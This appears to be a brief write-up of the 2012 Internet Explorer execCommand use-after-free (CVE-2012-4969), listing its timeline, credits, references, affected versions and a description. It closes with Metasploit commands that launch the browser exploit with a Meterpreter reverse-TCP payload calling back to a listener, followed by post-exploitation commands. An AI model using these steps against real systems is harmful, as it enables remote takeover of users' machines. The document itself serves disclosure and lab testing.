Timeline :

Vulnerability found exploited in the wild and discovered by Eric Romang
First details of the vulnerability the 2012-09-14
Advanced details of the vulnerability provided by binjo the 2012-09-16
Metasploit PoC provided the 2012-09-17

PoC provided by :

unknown
eromang
binjo
sinn3r
juan vazquez

Reference(s) :

OSVDB-85532
Vulnhunt.com
eromang blog
Metasploit
CVE-2012-4969
MSA-2757760
MS12-063

Affected version(s) :

IE 7 on Windows XP SP3
IE 8 on Windows XP SP3
IE 7 on Windows Vista
IE 8 on Windows Vista
IE 8 on Windows 7
IE 9 on Windows 7

Tested on Windows XP Pro SP3 with :

Internet Explorer 8

Description :

This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it.

Commands :

use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.178.33
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.33
exploit

sysinfo
getuid